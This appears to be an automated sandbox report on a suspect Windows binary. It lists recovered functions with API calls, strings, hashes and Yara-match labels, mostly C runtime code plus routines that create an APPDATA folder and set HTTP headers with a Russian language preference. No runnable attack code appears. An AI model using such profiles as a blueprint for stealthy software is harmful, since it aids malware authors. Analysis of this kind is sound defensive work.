Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 315dc02276a743d7f8c24c50dfe88152bb5dfd181608b4b0725d703b30596b13
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 6511E7B724804247D6548A6DD4F87B6F795EFE5320B2D42FAD8814B7BAD222B144DA00

Function 00DCC9CB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2420979596.0000000000DCC000.00000040.00000020.00020000.00000000.sdmp, Offset: 00DCC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dcc000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: d91dc54d61b6f843e38c478035ebdfb496ceedddf36a70796b2d5fed2897c512
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 92118E72750105AFD744DF59DC85FA673EAEB88360B298069EE08CB316DA75EC42CB70

Function 04B50D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: a9a372e72a0caa430201dbf1f27ff0e92a8f4d5767ac8951d198d37f9d6f0fe4
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 3001A276A006048FDF21EF24C814BAAB3E5EBC6316F5548E5ED0A9B291E774B9418F90

Function 10007A76 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction ID: 49573a245b17cd2143a7f0a663dc82b9d5ba07e6c12e429f55ccbb336c262c76
Opcode Fuzzy Hash: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction Fuzzy Hash: CEE08C32E11228EBCB10CB88C940E8AB3ECFB86A80F114096B505E3101D274DF00C7C2

Function 00409B9D Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,00409B7B), ref: 00409BA9
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00409B7B), ref: 00409BB4
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00409B7B), ref: 00409BC5
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00409BD7
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00409BE5
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00409B7B), ref: 00409C08
DeleteCriticalSection.KERNEL32(0042D064,00000007,?,?,00409B7B), ref: 00409C24
CloseHandle.KERNEL32(00000000,?,?,00409B7B), ref: 00409C34

Strings

SleepConditionVariableCS, xrefs: 00409BD1
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00409BAF
kernel32.dll, xrefs: 00409BC0
WakeAllConditionVariable, xrefs: 00409BDD

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 37dafa969150eeb09f2d68ad9d46abae469e8d92b579355ddc2ecf38041403ba
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 4B017531F44721BBE7205BB4BC09F563AE8AB48715F544032F905E22A2DB78CC078A6C

Function 10001CDD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10001CE7
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,1000202E,?), ref: 10001D2D
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000), ref: 10001DE9
GetLastError.KERNEL32(?,?,00000001,00000000), ref: 10001DF9
GetTempPathA.KERNEL32(00000104,?,?,?,00000001,00000000), ref: 10001E12
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ECC
GetLastError.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ED2

Strings

TMPDIR, xrefs: 10001E24
APPDATA, xrefs: 10001D3F

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction ID: 65cc4f0b8c34a884811309b14049f09b1d2f67be4c4777eb46c939f585e6cab7
Opcode Fuzzy Hash: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction Fuzzy Hash: 6B515E70900259EAFB64EBA4CC89BDDB7B9EF04380F5005E9E109A6055DB74AFC4CF61

Function 100010C7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 100010CE
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001103
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001123
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001143
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001163

Strings

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001125
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001105
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 100010D9
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001145

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction ID: 505ec4d7c45309835e960384523a5e30396a54de81b8e769e2ad7823f420ed9d
Opcode Fuzzy Hash: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction Fuzzy Hash: DA119372D0010DEEEB10DBA9DC91DEEBB78EB18351FA0C019F22176051DB75AA45DBB1

Function 0041C38F Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0041CE8F), ref: 0041C3A8

Strings

log, xrefs: 0041C405, 0041C414
asin, xrefs: 0041C4D5
acos, xrefs: 0041C4DE
log10, xrefs: 0041C3EA, 0041C3F9
pow, xrefs: 0041C446, 0041C4F0, 0041C53D
exp, xrefs: 0041C427, 0041C48C
sqrt, xrefs: 0041C4E7

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction ID: c807006a3b6ff10d3a002f023a5ec1143af0d4f8941b6a10615b45774aafcbb0
Opcode Fuzzy Hash: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction Fuzzy Hash: A751CC7098422AEBCB108F98ED9C5FE7F71FB05304F908057D480A6664C7BC99A6CB5D

Function 0040BCBB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0040BDDA
___TypeMatch.LIBVCRUNTIME ref: 0040BEE8
_UnwindNestedFrames.LIBCMT ref: 0040C03A
CallUnexpected.LIBVCRUNTIME ref: 0040C055

Strings

csm, xrefs: 0040BE11
csm, xrefs: 0040BCF8
csm, xrefs: 0040BD65

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 526bd2c442181307887733989819878d768e136a746cf2eec307868f2bd45ee9
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: EEB1477180020AEBCF25DFA5C8819AEBBB5EF04314B14416BE815BB292D738DA51CFDD

Function 04D1B0BB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04D1B1DA
___TypeMatch.LIBVCRUNTIME ref: 04D1B2E8
_UnwindNestedFrames.LIBCMT ref: 04D1B43A
CallUnexpected.LIBVCRUNTIME ref: 04D1B455

Strings

csm, xrefs: 04D1B165
csm, xrefs: 04D1B0F8
csm, xrefs: 04D1B211

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: bac4b2bd35a99726dd9da4778745c43f749b37fdec81d0030b6f39d644add51c
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 44B14871900609FFDF19DFA4E8809AEBBB5FF04318B15815AEC116B225D770FA61CBA1

Function 10004131 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 10004250
___TypeMatch.LIBVCRUNTIME ref: 1000435E
_UnwindNestedFrames.LIBCMT ref: 100044B0
CallUnexpected.LIBVCRUNTIME ref: 100044CB

Strings

csm, xrefs: 10004287
csm, xrefs: 100041DB
csm, xrefs: 1000416E

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction ID: 3d3d7b973083d5502e03e9704e538657a8ad6664bd6ca03923258a49de60437f
Opcode Fuzzy Hash: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction Fuzzy Hash: C0B180B5C00209DFEF05DF94D881A9EBBB9FF04390F12415AF8116B21ADB31EA51CB99

Function 04B5BF22 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04B5C041
___TypeMatch.LIBVCRUNTIME ref: 04B5C14F
_UnwindNestedFrames.LIBCMT ref: 04B5C2A1
CallUnexpected.LIBVCRUNTIME ref: 04B5C2BC

Strings

csm, xrefs: 04B5BF5F
csm, xrefs: 04B5C078
csm, xrefs: 04B5BFCC

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: e83397c46159cdec50bed3ac76d9e1d88e90f26eef1d7b156bb1fe2c9a7c49b1
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 31B13471800309AFEF15EFA4D880AAEFBB6EF04314B14459AEC156B221D775FA61CB91

Function 04B59E04 Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,04B59DE2), ref: 04B59E10
GetModuleHandleW.KERNEL32(0041FFC8,?,?,04B59DE2), ref: 04B59E1B
GetModuleHandleW.KERNEL32(0042000C,?,?,04B59DE2), ref: 04B59E2C
GetProcAddress.KERNEL32(00000000,00420028), ref: 04B59E3E
GetProcAddress.KERNEL32(00000000,00420044), ref: 04B59E4C
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,04B59DE2), ref: 04B59E6F
RtlDeleteCriticalSection.NTDLL(0042D064), ref: 04B59E8B
CloseHandle.KERNEL32(0042D060,?,?,04B59DE2), ref: 04B59E9B

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 114aca349e9446cb3140817a8215e72cefff1a56a962bd188af4019860c5a3ad
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 7D015271B40711EBD7205BB4FC09B977AE8EB48B05B504575BD05E2171DB68D80B8A68

Function 00413DCC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00413E52

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction ID: 4a21b80fcc43a582202c6f7144ab3ce64f52356938c116e7343db5097d41ee6d
Opcode Fuzzy Hash: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction Fuzzy Hash: 57B13672E003559FDB118F65CC81BEF7FA5EF59310F14416BE904AB382D2789A82C7A8

Function 04D231CC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04D23252

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: ded5fc1761a6bf1c0f9cdc6b3a0c9b7ebd8aa7d600dec1e908b46a968bfb65d8
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 4BB15832A00675AFEB128F78CD81BAE7BA5FF65318F144195ED04AB281D678F901C7A0

Function 04B64033 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04B640B9

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: e18b7271fb970160145d15685fb4ea2e29065bd8e312b6d866313cd3be2e7049
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 2BB16972A00765AFEB11CF68CC81BAE7FA5EF55314F1441E5E906AF281D278B901CBA4

Function 100028D6 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1000291D
___scrt_uninitialize_crt.LIBCMT ref: 10002937

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction ID: 04769ff959a67eddfc0a91c70c155494b73e6b711ec1a15a155288148215b0b0
Opcode Fuzzy Hash: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction Fuzzy Hash: 3741F372E05229AFFB21CF68CC41BAF7BA4EB846D0F114119F84467258DB309E419BA1

Function 0040B7C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040B7F7
___except_validate_context_record.LIBVCRUNTIME ref: 0040B7FF
_ValidateLocalCookies.LIBCMT ref: 0040B888
__IsNonwritableInCurrentImage.LIBCMT ref: 0040B8B3
_ValidateLocalCookies.LIBCMT ref: 0040B908

Strings

csm, xrefs: 0040B89D

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 0a5d0bd6c222bbdd43f8b319fa79a96d429a9708f3c046b0ae0cbd11a01f7e51
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 11418535A00219DBCF10EF69C885A9EBBA5EF44318F14C17AE8147B3E2D7399905CBD9

Function 04D1ABC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 04D1ABF7
___except_validate_context_record.LIBVCRUNTIME ref: 04D1ABFF
_ValidateLocalCookies.LIBCMT ref: 04D1AC88
__IsNonwritableInCurrentImage.LIBCMT ref: 04D1ACB3
_ValidateLocalCookies.LIBCMT ref: 04D1AD08

Strings

csm, xrefs: 04D1AC9D

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 750e59d06b6bac8997abbd2ebca06cf50b6215c0eaf1232c9d74bdac9963eca9
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 1841B234B01258BBCF10DF68E884A9EBBA6FF44328F148055EC195B362D735F905CBA0

Function 10003A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 10003A57
___except_validate_context_record.LIBVCRUNTIME ref: 10003A5F
_ValidateLocalCookies.LIBCMT ref: 10003AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 10003B13
_ValidateLocalCookies.LIBCMT ref: 10003B68

Strings

csm, xrefs: 10003AFD

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction ID: 53213870faae5245fec6ed73a44d54790f208d332314260de239e107b7581961
Opcode Fuzzy Hash: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction Fuzzy Hash: 2A41E434A002189FDF02CF68C881A9FBBF9EF453A8F11C065E9149B356C771EA15CB91

Function 100072FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 10007367
api-ms-, xrefs: 10007353

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction ID: 4a8ea71034e84b8525c0961ad639e20c08c2bf99947945f029ec6b94e21b7784
Opcode Fuzzy Hash: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction Fuzzy Hash: DC219671E01321EBF722DB648C81A4E37A4FB456E0B214124ED59A7195D778EE00A6E1

Function 00413339 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00413448,00403597,?,00000000,00402809,0040280B,?,004135C1,00000022,FlsSetValue,00422950,00422958,00402809), ref: 004133FA

Strings

api-ms-, xrefs: 00413390
ext-ms-, xrefs: 004133A4

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 89836d951bc72d4e20e2faa1a52db581b462940ce5fd44a8dff6846afbaeb460
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: A3212731B01214EBDB329F21DC44ADB7B68AB41765B200133ED15A73D1DA78EE46C6DC

Function 1000B6D8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000B720
__fassign.LIBCMT ref: 1000B905
__fassign.LIBCMT ref: 1000B922
WriteFile.KERNEL32(?,10009A1A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B96A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000B9AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000BA52

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction ID: 817bf58f8fa712ded97291eda06853010b29bdec4c6be72b636a35a8a914ce65
Opcode Fuzzy Hash: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction Fuzzy Hash: 9DC1CF75D006989FEB11CFE8C8809EDBBB5EF09354F28816AE855F7245D631AE42CB60

Function 0040B984 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040B97B,0040AF1F,0040A730), ref: 0040B992
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040B9A0
